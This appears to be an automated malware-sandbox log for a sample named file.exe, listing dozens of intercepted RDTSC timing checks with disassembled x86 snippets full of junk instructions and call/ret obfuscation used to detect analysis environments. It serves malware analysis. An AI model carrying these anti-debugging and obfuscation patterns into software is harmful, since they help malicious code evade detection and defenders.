Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6799762 second address: 679977B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FE764CFA4D6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007FE764CFA4D6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679977B second address: 679977F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679977F second address: 6799795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6799795 second address: 679979E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67998DE second address: 6799916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE764CFA4E6h 0x00000009 popad 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jmp 00007FE764CFA4E7h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6799916 second address: 679991B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679991B second address: 6799945 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FE764CFA4D6h 0x00000009 jmp 00007FE764CFA4DAh 0x0000000e jmp 00007FE764CFA4E3h 0x00000013 popad 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6799945 second address: 679994B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679C6DF second address: 679C6F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764CFA4E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679C6F4 second address: 679C787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 6E920171h 0x0000000f sub dx, 3C10h 0x00000014 push 00000003h 0x00000016 pushad 0x00000017 and edi, dword ptr [ebp+122D2D5Dh] 0x0000001d and eax, dword ptr [ebp+122D2D81h] 0x00000023 popad 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007FE764FBC4B8h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000018h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 sub edi, dword ptr [ebp+122D2F91h] 0x00000046 push 00000003h 0x00000048 sub dword ptr [ebp+122D3608h], ecx 0x0000004e jmp 00007FE764FBC4C4h 0x00000053 call 00007FE764FBC4B9h 0x00000058 jng 00007FE764FBC4C4h 0x0000005e push eax 0x0000005f pushad 0x00000060 push eax 0x00000061 push eax 0x00000062 pop eax 0x00000063 pop eax 0x00000064 push eax 0x00000065 push edx 0x00000066 js 00007FE764FBC4B6h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679C787 second address: 679C7DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007FE764CFA4E4h 0x00000012 jo 00007FE764CFA4D6h 0x00000018 popad 0x00000019 jbe 00007FE764CFA4D8h 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 pushad 0x00000025 pushad 0x00000026 push edx 0x00000027 pop edx 0x00000028 jng 00007FE764CFA4D6h 0x0000002e popad 0x0000002f jns 00007FE764CFA4DCh 0x00000035 popad 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a push esi 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679C7DB second address: 679C7DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679C8BD second address: 679C8C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679C8C1 second address: 679C961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jng 00007FE764FBC4BAh 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 jmp 00007FE764FBC4C0h 0x0000001c jno 00007FE764FBC4BCh 0x00000022 popad 0x00000023 pop eax 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007FE764FBC4B8h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e mov di, 2FBAh 0x00000042 push 00000003h 0x00000044 mov dword ptr [ebp+122D38AAh], esi 0x0000004a push 00000000h 0x0000004c push 00000003h 0x0000004e pushad 0x0000004f mov dword ptr [ebp+122D1CF3h], eax 0x00000055 mov edx, 70A2BBA1h 0x0000005a popad 0x0000005b push 51C5A894h 0x00000060 jns 00007FE764FBC4BEh 0x00000066 add dword ptr [esp], 6E3A576Ch 0x0000006d lea ebx, dword ptr [ebp+12462592h] 0x00000073 push eax 0x00000074 pop ecx 0x00000075 push eax 0x00000076 jnp 00007FE764FBC4C4h 0x0000007c pushad 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679CA9A second address: 679CAA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FE764CFA4D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679CAA4 second address: 679CACB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 3AE8C758h 0x0000000f cld 0x00000010 lea ebx, dword ptr [ebp+1246259Dh] 0x00000016 mov dword ptr [ebp+122D3417h], eax 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 jnc 00007FE764FBC4B6h 0x00000026 pop edi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AE698 second address: 67AE6A2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE764CFA4DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BCE69 second address: 67BCE6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BCE6D second address: 67BCE71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BD822 second address: 67BD83F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edi 0x00000006 pop edi 0x00000007 jmp 00007FE764FBC4C5h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BD83F second address: 67BD844 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BD98C second address: 67BD996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE764FBC4B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDB56 second address: 67BDB6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E0h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDB6C second address: 67BDB70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDB70 second address: 67BDB74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDCDD second address: 67BDCF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDCF3 second address: 67BDD0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE764CFA4E5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDD0E second address: 67BDD1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FE764FBC4B6h 0x0000000a jp 00007FE764FBC4B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDD1E second address: 67BDD22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDD22 second address: 67BDD52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007FE764FBC4BAh 0x00000010 pushad 0x00000011 jmp 00007FE764FBC4C8h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDEAC second address: 67BDEDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764CFA4E9h 0x00000009 jmp 00007FE764CFA4E2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDEDB second address: 67BDEDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDEDF second address: 67BDEEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE764CFA4D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BE662 second address: 67BE66F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007FE764FBC4B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BE66F second address: 67BE673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678AFEF second address: 678B008 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FE764FBC4BBh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C386F second address: 67C3873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C3873 second address: 67C3879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C5160 second address: 67C5178 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C5178 second address: 67C517C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C627A second address: 67C627E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C627E second address: 67C6286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C6286 second address: 67C62B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE764CFA4E2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C7983 second address: 67C7989 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CB5B4 second address: 67CB5B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CBBEB second address: 67CBBFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE764FBC4B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CBBFB second address: 67CBBFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CBD1D second address: 67CBD23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CBD23 second address: 67CBD35 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE764CFA4DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CBD35 second address: 67CBD39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CF0E8 second address: 67CF0FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CF0FD second address: 67CF14C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 311C5D41h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FE764FBC4B8h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a and esi, 167C2D4Eh 0x00000030 mov si, A851h 0x00000034 push 4E7091CDh 0x00000039 pushad 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CF43B second address: 67CF44B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007FE764CFA4D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CF51C second address: 67CF542 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FE764FBC4BCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CF542 second address: 67CF54C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE764CFA4D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CFDA8 second address: 67CFDAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CFDAE second address: 67CFE02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FE764CFA4D8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 nop 0x00000024 jmp 00007FE764CFA4E7h 0x00000029 push eax 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FE764CFA4E1h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CFFDB second address: 67CFFE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CFFE1 second address: 67CFFE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CFFE5 second address: 67CFFE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D0141 second address: 67D0173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE764CFA4E1h 0x00000009 popad 0x0000000a jmp 00007FE764CFA4E5h 0x0000000f popad 0x00000010 push eax 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D0173 second address: 67D0177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D0389 second address: 67D038D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D042A second address: 67D0430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D0430 second address: 67D0435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D0435 second address: 67D046F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE764FBC4CDh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d xchg eax, ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE764FBC4C3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D046F second address: 67D0482 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jbe 00007FE764CFA4D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edi 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D149F second address: 67D14B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764FBC4C6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D14B9 second address: 67D14BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D136A second address: 67D136E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D25EB second address: 67D25F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D25F1 second address: 67D25F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D2EF7 second address: 67D2F0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D3BBB second address: 67D3C2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a add edi, dword ptr [ebp+122D35E8h] 0x00000010 push 00000000h 0x00000012 add dword ptr [ebp+122D3AB1h], eax 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007FE764FBC4B8h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 xchg eax, ebx 0x00000035 jmp 00007FE764FBC4C7h 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FE764FBC4C8h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D3C2D second address: 67D3C33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D46E3 second address: 67D46E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D46E8 second address: 67D46EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D4475 second address: 67D447A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D514D second address: 67D5151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D5151 second address: 67D51C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FE764FBC4B8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov esi, 5A0898A5h 0x00000029 push 00000000h 0x0000002b call 00007FE764FBC4BAh 0x00000030 add dword ptr [ebp+122D1C3Fh], esi 0x00000036 pop esi 0x00000037 xchg eax, ebx 0x00000038 jnc 00007FE764FBC4CEh 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 jbe 00007FE764FBC4B6h 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D4F80 second address: 67D4F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D4F84 second address: 67D4F8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FE764FBC4B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D5B64 second address: 67D5B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D5B69 second address: 67D5B6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D5B6E second address: 67D5BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE764CFA4D6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007FE764CFA4D8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a jns 00007FE764CFA4D6h 0x00000030 mov esi, dword ptr [ebp+122D32F9h] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a mov dword ptr [ebp+122D399Ch], ecx 0x00000040 push eax 0x00000041 pushad 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D5BB6 second address: 67D5BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
